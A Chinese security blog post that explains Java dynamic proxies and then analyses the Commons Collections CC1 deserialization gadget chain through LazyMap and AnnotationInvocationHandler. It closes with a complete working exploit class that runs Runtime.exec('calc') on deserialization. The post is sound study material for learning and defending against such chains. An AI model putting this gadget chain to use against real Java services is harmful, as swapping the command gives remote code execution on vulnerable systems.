0x01 写在前面 动态代理在挖掘CC1链之前就已经了解过,这两天挖正版CC1链的时候发现对这个概念很模糊
于是在挖掘过程中重新学习动态代理
0x02 Java动态代理 首先我们要明确动态代理在Java反序列化攻击的意义
一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法
基础知识 动态代理的角色和静态代理的一样。需要一个实体类,一个代理类,一个启动器
动态代理的代理类是动态生成的,静态代理的代理类是我们提前写好的
JDK的动态代理需要了解两个类: InvocationHandler 调用处理程序类和 Proxy 代理类
InvocationHandler 调用处理程序类 InvocationHandler是由代理实例的调用处理程序实现的接口
1 2 3 4 public interface InvocationHandler { public Object invoke (Object proxy, Method method, Object[] args) throws Throwable; }
每个代理实例都有一个关联的调用处理程序invoke
1 2 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable;
invoke()方法参数
proxy : 调用该方法的代理实例
method : 所述方法对应于调用代理实例上的接口方法的实例
args : 包含方法调用传递代理实例的参数值的对象的数组,如果接口方法没有参数则为null
Proxy 代理 Proxy提供了创建动态代理类和实例的静态方法,它也是由这些方法创建的所有动态代理类的超类
1 2 3 public class Proxy implements java .io.Serializable{ ... }
动态代理类 (以下简称为代理类 )是一个实现在类创建时在运行时指定的接口列表的类,具有如下所述的行为。 代理接口是由代理类实现的接口。 代理实例是代理类的一个实例。
1 2 3 4 public static Object newProxyInstance (ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException
该方法返回指定接口的代理类的实例,该接口将方法调用分派给指定的调用处理程序
newProxyInstance方法参数:
loader : 定义代理类的类加载器
interfaces : 代理类实现的接口列表
h : 方法调用的调用处理函数
代码实现 两个要点
我们代理的是接口,而不是单个用户
代理类是动态生成的,而非静态定死
Demo 接口类 1 2 3 4 5 6 public interface UserService { public void add () ; public void delete () ; public void update () ; public void query () ; }
实现接口实体类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class UserServiceImpl implements UserService { public void add () { System.out.println("增加了一个用户" ); } public void delete () { System.out.println("删除了一个用户" ); } public void update () { System.out.println("更新了一个用户" ); } public void query () { System.out.println("查询了一个用户" ); } }
动态代理实现类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;public class UserProxyInvocationHandler implements InvocationHandler { UserService userService; public UserProxyInvocationHandler (UserService userService) { this .userService = userService; } public Object getProxy () { Object proxy = Proxy.newProxyInstance(userService.getClass().getClassLoader(), new Class []{UserService.class},this ); return proxy; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { log(method); Object obj = method.invoke(userService, args); return obj; } public void log (Method method) { System.out.println("动态代理实现了" +method.getName()+"方法" ); } }
启动类 1 2 3 4 5 6 7 8 9 10 11 12 public class Client { public static void main (String[] args) { UserServiceImpl userService = new UserServiceImpl (); UserProxyInvocationHandler userProxyInvocationHandler = new UserProxyInvocationHandler (userService); UserService proxy = (UserService) userProxyInvocationHandler.getProxy(); proxy.add(); proxy.delete(); proxy.update(); proxy.query(); } }
0x03 正版CC1链 挖掘分析 仍然调用InvokerTransformer.transform()作为危险方法
在find Usages时找到了LazyMap.get()中factory进行了调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { ... public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } ... }
来看看factory是怎么获取的,在LazyMap的构造方法中factory属性被赋值
同时看到构造方法被protected修饰,应该注意到类中的decorate(),看过上篇文章的应该非常熟悉,利用它可以获取LazyMap实例对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); } public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = FactoryTransformer.getInstance(factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; }
接下来寻找LazyMap.get()的触发点
在AnnotationInvocationHandler.invoke()中就调用了get()
1 2 3 4 5 6 7 8 public Object invoke (Object proxy, Method method, Object [] args ) { ... Object result = memberValues.get (member); ... }
既然是invoke()方法,就该想到上面说到的动态代理
“一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法”
既然如此就来找memberValues还调用了什么其他方法,在readObject()中其调用了entrySet()
那我们只需要把memberValues改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.NoSuchMethodException;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws IOException, NoSuchMethodException, IllegalAccessException, java.lang.reflect.InvocationTargetException, ClassNotFoundException, InstantiationException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class, Class[].class},new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class); AIHConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, lazyMap); Map proxy = (Map) Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, proxy); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInput ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
被代理的实例
1 2 3 4 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);AIHConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, lazyMap);
生成代理对象
1 2 Map proxy = (Map) Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class []{Map.class}, invocationHandler);invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, proxy);
执行效果
0x04 总结 1 2 3 4 5 6 7 8 9 10 11 调用链 InvokeTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject 辅助链 ChainedTransformer ConstantTransformer HashMap Map (Proxy) #entrySet
参考文章
https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/
https://drun1baby.top/2022/05/17/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-01-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%A6%82%E5%BF%B5%E4%B8%8E%E5%88%A9%E7%94%A8/
https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.videopod.episodes&vd_source=52eba7627ed3e9842c78702b92c1bba9&p=3